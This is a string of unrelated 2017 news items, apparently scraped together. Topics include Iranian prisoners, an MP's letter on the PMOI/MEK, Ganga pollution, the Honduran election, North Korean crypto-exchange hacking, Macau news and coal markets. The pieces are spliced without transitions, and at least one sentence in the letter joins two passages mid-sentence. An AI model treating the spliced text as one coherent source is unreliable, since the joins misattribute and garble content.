A statement by Shahabis labor union points out that medical professionals had already declared him not healthy enough to continue serving time in the harsh conditions of Rajai Shahr Prison, and it highlights the stroke as proof of this assessment. We hold the security agencies, the Tehran prosecutor, and prison officials responsible for Shahabis life, the statement adds.

But the deaths of prominent activists may in fact be the desired outcome in some instances of denial of medical services. Deaths from this and other dubiously natural causes adds to the death toll from the Iranian prison system, without adding to the actual statistics that make Iran the nation with the highest rate of executions per capita.

In the case of dual nationals, however, torturous practices like the denial of medical treatment may have a different intended outcome, and although Jalali has been sentenced to death, many critics of the Iranian regime still believe that he stands to be used as a bargaining chip in negotiations with Western governments for ransom money, policy concessions, or something else of value to the Islamic Republic.
In a letter to Polly Curtis, editor in chief of the Huffington Post, he criticized her for allowing accusations to be published against the Peoples Mojahedin Organisation of Iran (PMOI/MEK) by Massoud Khodabandeh, who is one of the directors of Iran-interlink, one of the most active websites launched by the Iranian regimes Ministry of Intelligence, who are reported to regularly distribute propaganda against the Peoples Mojahedin Organisation of Iran (PMOI/MEK).

The letter is reproduced in full below:

Dear Ms Curtis,

It is regrettable that The Huffington Post has allowed its respected platform to be exploited by Massoud Khodabandeh to repeat the Iranian regimes baseless accusations against Irans democratic opposition group, the Peoples Mojahedin Organisation of Iran (PMOI/MEK).

A review of Mr Khodabandehs Huffington Post Blog profile reveals that his latest article, Albanias Modern Slavery Problem Alienates Europe, is not his first written to attack the PMOI (MEK). I understand that in the last years he has published more than a dozen articles expressing similar opinions.

Mr Khodabandeh and his wife, Ann Singleton, have long engaged in attacks and defamation campaigns against the PMOI (MEK). Their malign activities against the Iranian opposition, the PMOI (MEK), at the behest of the Iranian regime was highlighted in a 2007 report by the British Committee for Iran Freedom.

If one did not know better, one would think that The Huffington Post aims to attack Irans organised opposition and back the Iranian regimes ongoing campaign to tarnish the PMOIs image and reputation on the international stage A similar check for factual errors and accuracy would reveal that the company  who this person claims to belong to  was created several years ago but no longer exists. This is a serious error given the prevalence of fake news and the increasing public debate on the use of deceptive and false reporting, especially by authoritarian regimes who seek to mask the truth, justify crackdowns on dissidents and defame legitimate opposition.

Thus, it is evident that Mr Khodabandeh and his wife are abusing The Huffington Post to lend credibility to false accusations against the PMOI (MEK). This is further re-enforced when such propaganda is repeated on a daily basis in Iranian state media. By this I mean news agencies and websites affiliated to its Islamic Revolutionary Guard Corps (IRGC) such as Tasnim News and Fars News.

As analysis by Freedom House highlights, it is worth noting that Iran remains one of the worst countries in the world for internet and press freedom. In a recent report the think tank also classified Iran as tenth in a list of thirty countries that bribe pro-government commentators to spread falsehood and attack critics.

Please see the following links for further on such corruption:

https://freedomhouse.org/report/freedom-net/2017/iran

http://www.telegraph.co.uk/technology/2017/11/14/governments-30-countries-pay-keyboard-armies-spread-propaganda/

Furthermore, Irans state broadcaster, World Service, and the English-language outlet, Press TV, have been involved in human rights violations and which have recently been exposed. You may not know that responsibility for all programming decisions was sanctioned by the EU in 2013 as the outlet has worked with the Iranian security services and prosecutors to broadcast forced confessions. You will no doubt agree that this is totally unacceptable and I refer you to the following link:

http://eurlex.europa.eu/LexUriServ/LexUriServ.do?uri=OJ:L:2013:068:0009:0013:EN:PDF

This demonising campaign of the PMOI (MEK) has real consequences for its members and their families in Iran. These people have suffered tremendous persecution by the Iranian authorities. Nowhere is this more evident than in two recent examples. The first concerns the case of prisoner of conscience, Maryam Akbari Monfared. She is serving a fifteen year sentence in Tehrans Evin Prison. The second concerns, Gholamreza Khosravi Savadjani, who was executed in 2012. I should just point out that both of these cases were highlighted in urgent actions by Amnesty International and in reports by the UN Special Rapporteur on Iran.

Once again you can find evidence of these actions here:

https://www.amnesty.org/download/Documents/MDE1350902016ENGLISH.pdf and

https://www.amnesty.org/en/documents/MDE13/058/2012/en/

Given these facts, one would hope that The Huffington Post would end this obvious abuse of its platform. Alternatively, may I suggest that you allow the PMOI (MEK) an opportunity to respond which they have so far not been afforded. This case reflects poorly on your publication and risks damaging its reputation as an independent, reliable news and opinion publication.

I hope you will take all measures that you deem appropriate to address this case. It is vital that you do not allow the Iranian regime and its affiliates to abuse The Huffington Posts respected platform to advance their propaganda against Irans legitimate opposition.

I look forward to hearing from you in reply.

With all good wishes,

Yours sincerely,

Sir David Amess MP

December 8, 2017
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By Meetu Jain: Comptroller and Auditor General's report has found that Yoga Guru Baba Ramdev's 'Patanjali' is one of the many industries along the river Ganga are discharging effluents into the river. The detailed report on Namami Gange project was tabled in both Houses of the Parliament on Tuesday.

The report exposes the shocking gap between what the government preaches and it practices. Cleaning the Ganga was part of the BJP manifesto.

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Ramdev isn't the only one falling foul of the authorities. Upmarket resorts like Sarovar Portico, eating joints like Chotiwala, or the plethora of plush resorts in the Corbett National park have didn't respond to authorities and the courts.

"Out of 180 defaulting industries to whom show cause notices were issued 42 defaulting units neither submitted their compliance to the show cause notice, nor approached the UEPPCB for inspection." The report goes on to point out that "These units were suo moto inspected by regional officers after the expiry of the compliance period. On their recommendations, the show cause notices were revoked by the UEPPCB", the CAG points out.

Of the many units that were supposed to have shut down for polluting the river, a sample check done of nine units in Hardiwar, the CAG found that seven were functioning.

The good news is that five of the famous ashrams in Haridwar have, after being threatened with closure, set up septic tanks so that untreated sullage does not flow into the river.

Another good development is that mobile magistrates have been posted along the river banks especially in pilgrimage sites such as Haridwar and Rishikesh to keep an eye on pilgrims using soap, shampoo and oil while taking a bath!

But the Clean Ganga project is a case of history repeating itself with little to show by way of a cleaner river. Just eight to 63 per cent funds were utilised between 2014-17. A large portion of the funds is still lying unutilised. State governments and the Centre are unable to spend even a paisa of the funds allocated for the project. The CAG audit is a familiar tale that lays bare the claims by then minister concerned, Uma Bharati. She had clearly blamed the UP government ahead of the elections for the river being dirty.

Now, as per the CAG report, the river in the Prime Minister's constituency of Varanasi happens to be along one of the most polluted stretches. In six cities of Uttar Pradesh, Bihar and West Bengal oxygen levels in the water have plummetted from the level it were in 2012-2013. Total coliform bacteria levels in all cities of UP, WB and Bihar was very high. The water quality in these cities was not even fit for bathing.

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Honduran President Juan Orlando Hernandez has been declared the winner of the country's disputed election.

David Matamoros, head of the election court, announced Sunday night that Hernandez had defeated candidate Salvador Nasralla. Matamoros said the final result was almost 43 percent to 41 percent.

But the Organization of American States (OAS) is calling for a new election as protests continue in Honduras.

An OAS statement said it was impossible to confirm the election results. The organization said there was evidence of human intrusions into the computer system.

The only possible path for the winner to be the Honduran people is a new call for general elections. the OAS said.

Supporters of Salvador Nasralla used rocks and burning tires to block streets and highways around the country Monday. The countrys National Police spokesman said some businesses had been looted in San Pedro Sula, Honduras second largest city.

Universities, banks and some businesses remained closed in the capital city, Tegucigalpa. Some people walked to work as transportation is limited.

At least 17 people have died in violent street clashes since the Nov. 26 election.

Its better to be locked up in our houses, said Maria Velasquez, a teacher living outside the capital city.

Salvador Nasralla had questioned the vote count early in the process and said he would not recognize it.

The day after the election, Nasralla held a lead over Hernandez and appeared set to win with 60 percent of the votes counted.

Then, the vote counting suddenly stopped. When it restarted more than a day later, the count began to favor Hernandez.

There was no immediate public comment by Hernandez about the election result.

Nasralla traveled to the United States capital, Washington, to present what he called numerous examples of evidence of election wrongdoing. He met Monday with OAS Secretary-General Luis Almagro. He said he also planned to meet with officials from the U.S. State Department and human rights groups.

I'm Caty Weaver.

Hai Do adapted this story for Learning English based on Associated Press news reports. Caty Weaver was the editor.

Write to us in the Comments Section or on our Facebook page.

_______________________________________________________________

Words in This Story

intrusion - n. the act of entering a place where you are not wanted or supposed to be present

loot - v. steal things from a place during a war or after destruction

lock up - v. to keep in place for security or restraint
North Korean hackers have taken millions of dollars in virtual currencies like bitcoin in recent attacks over the internet.

Virtual currencies are forms of money that are not overseen by governments but are exchanged digitally and controlled by their developers.

Security experts expect more attacks as economic sanctions drive North Korea to seek new ways to get money.

North Korean hackers have been blamed for a number of cyberattacks in the past, including a computer virus known as WannaCry. The cyberattack affected hospitals, banks and companies around the world this year.

Experts say the fast rise in the value of bitcoin makes it and other cryptocurrencies a good target for North Korea.

One Bitcoin was valued at around $19,000 on Tuesday, up from less than $1,000 at the beginning of 2017.

In South Korea, exchanges like Bithumb, Coinis and Youbit have hosted between 15 to 25 percent of the worlds bitcoin trading. Researchers told Reuters that there is digital evidence that North Korean hackers have attacked the exchanges.

On Tuesday, Youbit said it had suffered a cyber attack and lost 17 percent of its assets. The attack forced the exchange to halt operations and to seek legal protection from its creditors.

The cyber attackers were not identified. But one cyber security researcher said the attack was similar to an earlier one linked to North Korea. The researcher said he was not authorized to speak about the matter as it was being investigated. The findings have not been independently confirmed.

North Korea has rejected accusations that it has been involved in hacking. Representatives of Bithumb and Coinis declined to comment.

South Koreas Unification Ministry deals with North Korean affairs. A spokesman for the ministry said on Monday the government was considering countermeasures, including more sanctions, because of the cyberattacks.

Infected emails

South Koreas intelligence service reported that about $7 million in cryptocurrencies were stolen in earlier attacks on other exchanges. The information was reported in South Koreas Chosun Ilbo newspaper.

Moonbeom Park is a researcher at the Korea Internet and Security Agency. He told Reuters that the amount could now be $82 million after the latest attacks.

Park said the attacks over the summer were virtually identical to earlier ones connected to North Korea.

The hackers began by stealing customers personal information, including names and email addresses. Some of those customers then received emails with infected documents designed to look as if they were from South Koreas National Tax Service or another official agency.

The infected document, once opened, permitted hackers to control the users computer. The hackers then would get to the users bitcoin account either on the computer, or on the bitcoin exchanges server. Other researchers said the exchanges were also attacked using fake email accounts.

Cristiana Brafman Kittner is with the cybersecurity company FireEye. She could not confirm whether North Korea had actually stolen any virtual currencies. But she said hackers linked to it had targeted, in her words, multiple exchanges over the past six to nine months.

We believe that some of the criminal activity we are observing, originating from North Korea, is a result of the regime looking for alternative sources of revenue, she said.

Im Mario Ritter.

Hai Do adapted this story for Learning English based on Reuters news reports. Mario Ritter was the editor.

Write to us in the Comments Section or on our Facebook page.

________________________________________________________________

Words in This Story

virtual adj. existing on a computer or the internet

sanctions n. measures meant to cause a country to observe international law usually by limiting trade

hacker n. a person who secretly gets into a computer system to get information or to cause damage

cyberattacks n. an attack on a computer system or network to gain information, cause problems or damage

cryptocurrencies n. digital currency that uses digital security measures to prevent it from being copied or misused

authorized adj. permitted

originate v. to come from

alternative adj. another, a different choice
U.S. President Donald Trump has launched a new national security plan that calls for continuing his America First policies.

Trump outlined his first major national security strategy during a speech Monday in Washington.

A full, written report of the new U.S. strategy identifies China and Russia as revisionist powers that represent economic and political threats to America. Both Russia and China use technology, propaganda, and coercion to shape a world that goes against U.S. interests and values, the strategy states.

China and Russia are determined to make economies less free and less fair, to grow their militaries, and to control information and data to repress their societies and expand their influence, the document added.

During his speech, Trump said his national security plan focuses on four main areas. These include protecting the U.S. homeland and borders, seeking fair and balanced trade, rebuilding the military and advancing American influence throughout the world.

Trump said it was in keeping with America First policies, which he has been promoting since his presidential campaign.

While not specifically naming China and Russia, Trump said his strategy sets important steps to deal with new forms of conflict, such as economic and political aggression. He said the plan calls for strengthening regional alliances to counter these threats. America will lead again, Trump said.

The full strategy document accuses Russia of using subversive measures to weaken the credibility of Americas commitment to Europe, undermine transatlantic unity, and weaken European institutions and governments. As examples, it cites Russias invasions of Georgia and Ukraine.

Through modernized forms of subversive tactics, Russia interferes in the domestic political affairs of countries around the world, the strategy documents warns.

During his speech, Trump did praise recent cooperation between the U.S. and Russia that led to U.S.-provided intelligence that Moscow says helped prevent a possible bomb attack in St. Petersburg, Russia.

While the new strategy states that the U.S. seeks to continue cooperating with China, it is also critical of its Asian rival. China is using economic inducements and penalties, influence operations, and implied military threats to persuade other states to heed its political and security agenda, it says.

The document also says Chinas efforts to build and militarize in the South China Sea endanger the free flow of trade, threaten the sovereignty of other nations, and harm regional stability.

The strategy also warns of growing threats from rogue regimes, such as North Korea.

The last U.S. strategy plan, prepared by President Barack Obama in 2015, declared climate change an urgent and growing threat to national security. The Trump plan removes that language, following the administration's intention to pull out of the Paris climate accord.

The Trump administration strategy sets a goal of becoming an energy-dominant nation, with the U.S. recognizing the importance of environmental stewardship.

Im Bryan Lynn.

Bryan Lynn wrote this story for VOA Learning English, based on reports from the Associated Press, Reuters and the National Security Strategy document. Hai Do was the editor.

We want to hear from you. Write to us in the Comments section, and visit our Facebook page.

______________________________________________________________

Words in This Story

revisionist  adj. asking questions about and trying to change existing beliefs about how events happened

coercion  n. using force or threats to make someone do something

repress  v. to control (someone or something) by force

subversive  adj. secretly trying to ruin or destroy a government, political system

inducement  n. something giving a reason for doing something

persuade  v. convince, urge someone to act

heed  v. pay attention to a warning or advice

sovereignty  n. a country's independent authority and the right to govern itself

stewardship  n. the management or care of something
There is an English proverb that says, "Let Sleeping Dogs Lie." It means to not bring up an old problem.

Researchers in Hungary have found another reason to let dogs keep on sleeping. It seems the animals are learning while they sleep.

The scientists placed wires on the dogs' heads to measure electrical activity in the brain. The brain activity, called sleep spindles, takes place in human beings, and has been linked with learning.

The Hungarian scientists hope to understand how the dogs' ability to learn and remember changes as they get older. The study may help researchers understand how human brains change as we age.

Ivaylo Iotchey is a neuroscience researcher. He says that this is the first time dogs sleep spindles have been measured, and related to the dogs learning new things.

"From studies with humans and rodents, we know that they are extremely useful markers both of memory and cognition but also of aging and activity. In the dog, sleep spindles have only been described, they were never quantified, they were never related to function. This is the first time we were able to show that sleep spindles predict learning in the dog.

Gender differences in learning

The scientists found differences between male and female dogs. Iotchey says the females appeared much better at learning new things.

Female dogs have approximately, on average, twice as many spindles per minute as male dogs, and they also happen to be the better learners, they memorize the task much better."

But it was harder for all the older dogs to remember things, especially when several things were happening at the same time.

Old dogs and new tricks

Dora Szabo also studies sleep spindles.

Szabo is a neuroscientist with Eotvos Lorand University in Budapest. She says the older dogs were easily tricked.

If you first hide the reward into one pot, then in another and in another, they get confused after a while. So their performance is declining, and they are getting less effective in solving novel problems and shifting from one task to another."

Researchers hope the study will not only help understanding of cognitive ability and memory changes in dogs, but also the aging process in humans.

Senior Researcher Eniko Kubinyi adds that the aging dogs suffer from the same problems as humans who are aging.

"Among very old dogs, up to two thirds of them show signs of dementia, and this dementia is really very similar in a lot of aspects to that of humans, so we could use dogs as a natural model of human aging."

The team collects tissue from dogs brains and shares diseased tissue samples with researchers around the world.

Im Jill Robbins.

Deborah Block reported this story for VOANews.com. Dr. Jill Robbins adapted her report for Learning English. George Grow was the editor.

________________________________________________________________

Words in This Story

proverb  n. a popular saying

sleep spindles  n. a burst of brain activity that signals the beginning of deeper sleep

quantify  v. to find or calculate the quantity or amount of (something)

confused  adj. unable to understand or think clearly

decline  v. to become worse in condition or quality

novel  n. new and different from what has been known before

senior  adj. of or related to a higher rating or education

What do you think of this research? Do you watch your dog sleep? Do you think he or she is learning while sleeping? We want to hear from you. Write to us in the Comments Section.
By PTI: By Gurdip Singh

Singapore, Dec 19 (PTI) With Indias growing trade ties with the East, ensuring navigational freedom in the strategic South China Sea has become important for the country just as it is to other trading nations, a former top Indian diplomat has said.

Navigational freedom is a concern for all of the worlds trading nations that use the South China Sea route, whether it is Japan, China and the US, said former National Security Adviser Shivshanker Menon.

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In 1991, about 15.6 per cent of Indias Gross Domestic Product (GDP), as external merchandise trade, went to the West through the Suez. But by 2014, half of 49.3 per cent of the GDP, as external merchandise trade, was shipped through the South China Sea to the East.

As such, the South China Sea now has become more important for India unlike earlier, said Menon after delivering a public lecture on Asias New Geopolitics.

China claims almost all of the South China Sea but Vietnam, the Philippines, Malaysia, Brunei and Taiwan have counter claims over the waterway.

The US is periodically deploying its naval ships and fighter planes to assert freedom of navigation.

"We have a common interest in the navigation there, it is in nobody?s interests to see freedom of navigation affected in the South China Sea," said Menon, who is a Distinguished Visiting Research Fellow at the Institute of South Asian Studies (ISAS), a think tank here.

It seems there is enough of common interest all around for Association of Southeast Asian Nations (ASEAN), China, India, Japan and the US to make sure that this trade goes through the South China Sea "peacefully", he said.

The ASEAN is a regional intergovernmental organisation comprising ten Southeast Asian states. Its members include Indonesia, Malaysia, the Philippines, Singapore and Thailand, Brunei, Cambodia, Laos, Myanmar and Vietnam.

China, he observed, wants to solve the problem and is asking concerned parties to talk to her.

The old system to relying on the US to solve the problem is not going to be there, he believes.

China is negotiating a code of conduct directly with the ASEAN for the South China Sea, he noted.

It has already worked out a declaration of conduct in the South China Sea with the South East Asian regional grouping for easing of tension. PTI GS UZM AKJ UZM

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American Eagle Outfitters, Inc. operates as a specialty retailer that provides clothing, accessories, and personal care products under the American Eagle and Aerie brands. The company provides jeans, and specialty apparel and accessories for women and men; and intimates, apparel, activewear, and swim collections, as well as personal care products for women. It also offers graphic tees and other clothing products under the Tailgate brand name; and menswear products under the Todd Snyder New York brand name. As of January 29, 2022, the company operated 880 American Eagle stores, 244 Aerie brand stand-alone stores, and five Todd Snyder stores in the United States, Canada, Mexico, and Hong Kong. It also ships to 81 countries through its Websites; and offers its merchandise at 260 locations operated by licensees in 28 countries, as well as provides products through its Websites ae.com, aerie.com, and toddsnyder.com. American Eagle Outfitters, Inc. was founded in 1977 and is headquartered in Pittsburgh, Pennsylvania.
Acting president of the Cultural Affairs Bureau (IC) Ieong Chi Kin announced that an audience of approximately 150,000 people attended the 2017 Macao International Parade. According to Ieong, the budget for this years parade amounted to MOP16 million, an increase of one million from last year. The increased budget was primarily used to install facilities, and inviting non-local groups to perform. The parade can be viewed online, with channels such as Sina, TDM, and many others recording over 200,000 viewers. This is the first time that the parade has been live streamed.

Shortage of 834 people in banking industry by 2019

The latest report from the Talent Development Committee indicates that Macaus banking industry will have to deal with a shortage of 834 human resources staff between 2017 and 2019. According to the committee, there are currently 7,072 banking industry employees. Financial leasing in special financial areas, credit business, customer services, electronic banking, and legal litigation and anti-money-laundering are the other sectors which are expected to face a shortage of staff. Moreover, until the end of 2019, the insurance industry will face a gap in human resources consisting of 95 people.

December 29 the last day for the registration of new voters

The Public Administration and Civil Service Bureau (SAFP) has informed that December 29, the last working day of 2017, is the deadline for the registration of new voters. Registration can be completed through the Information Center on Electoral Affairs located at the Public Administration Building in Rua do Campo or using the self-service kiosks installed in over 40 locations around Macau. Some of the kiosks are available 24 hours a day, the most well-known being in the Public Administration Building, or in the ground floor atrium of the China Plaza Building, Outer Harbor Ferry Terminal. Registered voters can also update their information on the website: www.re.gov.mo.

SARs included in mainlands house provident fund system

The Hong Kong and Macao Affairs Office (the Office) of the State Council announced a new batch of policies to include the two SARs residents into mainlands welfare system. Eligible SAR residents are those who work in mainland China. According to a statement released by the office yesterday, SAR governments will be treated equally when it comes to house provident funds, for which the SARs residents will pay to and withdraw from the fund the same way as mainland residents. Another special scholarship has also been established for the SAR residents and overseas Chinese who study in mainland China. Both the quotas and prize amounts of the scholarships will be increased.
Jittery businessmen in Catalonia, spooked by signs the recent tumult over the regions latest bid to secede from Spain is hurting the local economy, have put their investment plans on ice as they brace for the Catalan parliamentary election on Thursday.

Catalan retail sales and tourist arrivals are falling and unemployment is edging higher, recent figures show.

Investors and consumers react badly to uncertainty and conflict, and Catalonias push to break away has brought Spains worst institutional crisis in decades.

The Catalan regional government was removed from office by Spains national government in late October after regional lawmakers passed a declaration of independence that Spanish authorities deemed illegal. That came after an Oct. 1 independence referendum in Catalonia which the Spanish Constitutional Court disallowed. Catalonia is currently being run by direct rule from Madrid.

The upcoming election looks like being a tight race between Catalans who support secession and those who prefer to remain in Spain.

A lot is at stake when polling stations open for 7.5 million voters in a region that accounts for 19 percent of Spains gross domestic product. A triumph for pro-independence parties could unleash further social and political mayhem that would ripple unpredictably across Spain, which has the fourth-largest economy in the 19-country eurozone. Citing the uncertainty over Catalonia, Spains central bank on Friday cut its growth forecasts for next year and 2019 to 2.4 percent and 2.1 percent respectively, shaving a percentage point off its previous predictions.

A recent survey of more than 100 company directors in the northeastern Spanish region found that 46 percent of them have put their 2018 spending plans on hold while they await the election outcome.

They have reason to fear: Just over half of them said their company sales fell from September to November, by an average of 9.5 percent, making them wary of the future, according to a survey published last week by the economist Fernando Trias de Bes in collaboration with the ESADE Business School. The surveyed companies together employ almost 158,000 people.

Just over 3,000 businesses have moved their official headquarters out of Catalonia in recent months, anxious they might no longer be covered by Spanish and European Union laws if Catalonia broke away. Those companies included Catalonias top two banks, Caixabank and Sabadell, and Planeta, the worlds leading Spanish-language publisher.

Retail sales in Catalonia fell almost 4 percent in October compared with the same month last year. That was the steepest drop in Spain, where nationally the fall was 0.1 percent, the national statistics agency INE said.

Tourist arrivals in Catalonia, including its popular capital Barcelona, that month were 4.7 percent down on 2016, according to the INE. Barry Hatton, Lisbon, AP
A two-year rally in coal is set to unravel in northwest Europe as China reasserts an anti-pollution drive it eased to keep citizens warm in a frigid winter.

Benchmark coal prices will probably fall about 16 percent by the end of next year, capping the longest rally in year-ahead rates since 2010, according to a survey of analysts and traders by Bloomberg News.

China, which uses almost half the worlds coal, will import less as it cuts its reliance on the dirtiest fossil fuel to curb smog. But the switch to cleaner energy hasnt been smooth, lending support to coal prices from Australia to Rotterdam. Officials this month reversed a coal-burning ban in some provinces as temperatures plunged, and factories were ordered to cut power use as there wasnt enough natural gas.

We expect prices to fall back by the end of the winter, said Thomas Pugh, a commodities analyst at Capital Economics Ltd. in London. Supply is picking up, and there is a big push in China away from coal towards gas and renewables. In the long run, thats only going to go one way, and it will affect prices globally.

Prices for year-ahead European coal will end 2018 at USD77.75 a ton, according to the average of six estimates in the survey. The contract will probably trade at about $86.40/ton by the end of March.

Seasonal demand may still sustain the current rally throughout winter, said Georgi Slavov, head of energy, ferrous metals and agricultural research at London-based commodities broker Marex Spectron, who cited low inventories in Asia and Europe. An increased availability of short-term credit has allowed buyers in China and India to further ramp up demand in the past four weeks, he said.

And as coal loses favor in China, the prospects for the mineral in Europe are bleak and U.S. demand will continue to decline, the International Energy Agency said in its Coal 2017 report published yesterday. But the fuels use in India and other Asia nations is forecast to grow.

Still, supply will outstrip demand and prices will begin to drop in the second half of next year, according to Barbara Lambrecht, an analyst at Commerzbank AG.

Chinas coal demand is likely to have passed its peak, Lambrecht said. A structural shift away from heavy industry and toward a more service-based society will slow demand as it dampens the countrys need for energy. Ladka Bauerova, Bloomberg

Local aid for electric cars to end, say insiders

China is planning to tell local governments to stop offering subsidies for electric cars and other new-energy vehicles, people familiar with the matter said, a move that could undermine demand for autos made by companies including BYD Co. and BAIC Motor Corp.

The Ministry of Finance is working on a plan that would mandate authorities to phase out the incentives to discourage protectionism and help rein in state expenditure, the people said, asking not to be identified. The plan may be implemented as early as next year.

Automakers would still be entitled to the central governments funds, the people said. The ministry didnt immediately respond to a fax requesting comments.

The grants have made electric vehicles more affordable in a market that surpassed the U.S. as the worlds biggest in 2015 and one that now accounts for half of global EV use. Subsidies have been a cornerstone of an almost decade-old policy to help promote zero-emission vehicles, but Beijing is reviewing the payouts to iron out some distortions and also to cap costs to the exchequer.
Three years after it opened amid much fanfare with the promise of paving the way to more trade between Canada and China, the yuan hub in Toronto has proven to be a bit of a dud.

Even as Prime Minister Justin Trudeau makes overtures to launch free trade talks with the worlds second-largest economy, Canadian firms have been slow to warm to the hub, which allows them to settle transactions in the Chinese currency with Chinese business partners.

We expected a higher jump from the start point and it hasnt happened, said Min Gao, head of the treasury department at the Canadian unit of Industrial and Commercial Bank of China, which runs the hubs clearing house. But its still growing, and its healthy growth.

The benefits of the hub, the first of its kind in North America when it opened in 2014, are obvious. Settling transactions in the yuan gives Canadian companies broader access to suppliers and customers in China, where many smaller firms only use yuan. It also helps firms in both countries avoid costly and time-consuming U.S. dollar intermediaries.

Yuan flows between China and Canada are up 67 percent since the hub was established, and the currency now accounts for 15 percent of all flows between the two countries, compared with a 70 percent share for the Canadian dollar, the Society for Worldwide Interbank Financial Telecommunication, a global payments network, reported in October.

Still, just 7 percent of Canadian companies use the Chinese currency, compared with a global average of 24 percent, according to a separate 2016 study by HSBC Bank Canada.

China has been boosting efforts to open its financial markets following the yuans addition to the International Monetary Fund reserve currency basket. While the U.S. dollar is still the global currency of choice, the use of the Chinese currency has been on the rise.

Chinas financial markets have already opened for some Canadian players. Bank of Montreal and HSBCs Canadian units were authorized by the Peoples Bank of China in November 2016 to become market makers for direct trading of yuan against Canadian dollars in Chinas inter-bank foreign exchange market.

National Bank of Canada also issued its first panda bond, or yuan-denominated debt issued in China, in October 2016, and followed that up with another in September. MDT/Bloomberg
The Judiciary Police (PJ) shut down an illegal gaming scheme and detained several suspects for illegal betting. The information was aired by the PJ spokesperson yesterday at a joint press conference held at the Public Security Police Force (PSP) headquarters.

According to officials the police were alerted on December 13 to illegal betting activities taking place in an apartment in the ZAPE area.

The police then sent agents to the location and found three suspects; two men aged 26 and 30 from Macau and the mainland respectively, and a 28-year-old woman also from mainland China.

A search of the apartment revealed several mobile phones, computers and record books that were used for the unlawful activities.

The PJ took the three suspects into custody and a further investigation revealed that the suspects were said to have been hired by an organization to perform duties that included contacting potential customers and receiving orders and payments from those to place bets in their name. All the transactions and betting orders were conducted online using communication apps such as WeChat and payment systems such as AliPay.

It was also reported that the group was working on a commission-based system receiving an undisclosed amount to place bets as well as commissions on the earnings.

The three were taken to the Public Prosecutions Office (MP) on the charges of running a criminal organization and running illegal gaming activities.

In a separate case reported by the PJ, two other people were caught while entering the region. The two suspects are residents of Hong Kong, aged 37 and 34, and are related to a drug trafficking organization that the PJ dismantled this October. At that time, one detained suspect revealed the identities of the others involved.

On December 15, when trying to enter Macau by the Outer Harbor Ferry, one of the suspects along with a friend, was caught by the PJ with the help of the Customs Police.

A further investigation revealed that both were in fact related to the case, and both of them told the police that they had been hired to perform drug smuggling tasks. This time, the two detainees were coming to Macau to rent an apartment that would serve as deposit point for the drugs to be transported into Macau at a later opportunity.

Two groups to demonstrate on Macau SAR day

ACCORDING TO sources in the Public Security Police Force there are two groups that submitted requests to perform demonstrations on December 20, the Public Holiday of Macau SAR day. The PSP spokesperson informed the media yesterday that one of the groups will be the Associacao dos Armadores de Ferro e Aco (Iron and Steel Association) which intends to deliver a letter to the Labour Affairs Bureau (DSAL). This group has a parade prepared beginning at the Iao Hon Market Square and heading to the DSAL headquarters. The second group consists of three residents who will organize a parade from the Areia Preta district, aiming to deliver petitions to three locations including the Central Governments Liaison Office and the Governments Headquarters.

Resident accused of presenting false crime report

The Judiciary Police (PJ) is charging a local resident aged 22 for presenting a false crime report to the police force, the PJ spokesperson said during the joint press conference held yesterday.

The resident claimed to have been attacked and robbed by two men on Rua de 5 de Outubro on December 16 around 3 a.m.

The man claimed he had been threatened by one of the alleged attackers with a fruit knife, stripping him of HKD49,000 in cash, MOP3,000 in cash, and a mobile phone.

According to the alleged victim, the thieves then ran towards Rua do Guimaraes and disappeared.

Further investigation from the police found that there was no evidence of the alleged crime and decided to question the alleged victim a second time. He then admitted making a false declaration report. He justified this action with the fact that the HKD49,000 belonged to a friend and he had spent the sum at a casino table. RM
A fraction of voters in Gujarat and Himachal Pradesh opted for NOTA in Gujarat and Himachal Pradesh assembly elections.

By India Today Web Desk: BJP might be the popular choice of people of Gujarat and Himachal Pradesh but a certain category scored more than two national parties in both the states.

NOTA or None of the above was the fourth most popular choice of the people in Gujarat and Himachal Pradesh. Most people in Gujarat and Himacha Pradesh voted for BJP, followed by Congress. The third place was occupied by Independent candidates while the fourth most popular option was NOTA.

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1.8 per cent of votes cast in Gujarat were in favour of NOTA, simply meaning that 1.8 per cent or more than 5 lakh people in Gujarat did not prefer the choice of candidates they had.

Similarly, the percentage of votes in cast in favour of NOTA in Himachal Pradesh was 0.9 per cent. Around 34,000 people in Himachal did not vote for any of the candidates.

National parties like BSP scored less than NOTA in the assembly elections this time. In Gujarat, while the BSP got around 2.07 lakh votes, NOTA got 5.23 lakh votes.

The Aam Aadmi Party also met with a similar fate in Gujarat where it scored less than NOTA in some constituencies. In five constituencies - Ankleshwar, Botad, Manjalpur, Chhota Udaipur, Dasada - AAP's vote count was less than NOTA.

NOTA's vote share in the UP assembly elections held earlier this year was around 1 per cent, when around 7 lakh people chose not to vote for any political party or candidate.

In 2009, the Election Commission of India told the apex court that it wishes to offer the option of NOTA or "none of the above" to voters. In 2013, the SC finally ruled that the voters have a right to choose none of the candidates or parties and still be able to register their vote.

The 2014 general elections registered 1.1 per cent NOTA votes.

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Authorities have recaptured an American man who escaped from an overcrowded and understaffed prison on the Indonesian resort island of Bali.

Christian Beasley, 32, is believed to have escaped during heavy rain last Monday from the Kerobokan penitentiary in Balis provincial capital, Denpasar, by sawing through a ceiling and then climbing over a 6-meter-high wall behind the prison.

The head of the prison, Tonny Nainggolan, said earlier that another American inmate, Paul Anthony Hoffman, 57, who has been serving a 20-month sentence since July for robbery, was captured while trying to escape along with Beasley.

Beasley was arrested in August at a post office in Balis Kuta tourist area while allegedly trying to pick up a package containing 5.7 grams of hashish. He stood trial and the verdict was due last Tuesday, a day after his escape.

Bali police detective Made Pramestia said Beasley had reached the neighboring tourist island of Lombok by boat on the day of his escape.

Pramestia said Beasley was recaptured on Saturday in an alley near a beach on Lombok after a five-day manhunt.

An investigation was underway to determine if prison guards were involved in the escape, said Surung Pasaribu of the local office of the Law and Human Rights Ministry. He also said there is a shortage of guards at the prison, which was built to accommodate about 300 people but has nearly 1,600 inmates.

It was the second escape from the prison since June, when four foreign inmates escaped through a drainage tunnel.

Two of them, Bulgarian Dimitar Nikolov Iliev and Indian Sayed Mohammed Said, were recaptured in East Timor days later and were returned to Bali. The two others, Shaun Edward Davidson of Australia and Tee Koko King bin Tee Kim Sai of Malaysia, are still at large.

Jailbreaks are common in Indonesia, where prisons are overcrowded with people convicted of drug crimes as part of the governments anti-drug crusade. AP
The senior management team at MGM Macau and its 8,900 Golden Lion Team members celebrated the companys 10-year anniversary in Macau yesterday.

Celebrating and commemorating this milestone, a ten- year service gala celebration was held on December 5 for 1,900 MGM Macau members who were there when it opened.

At the gala, MGMs senior management team presented a ten-year service certificate and a limited edition commemorative silver coin to each inaugural member for their commitment over the decade.

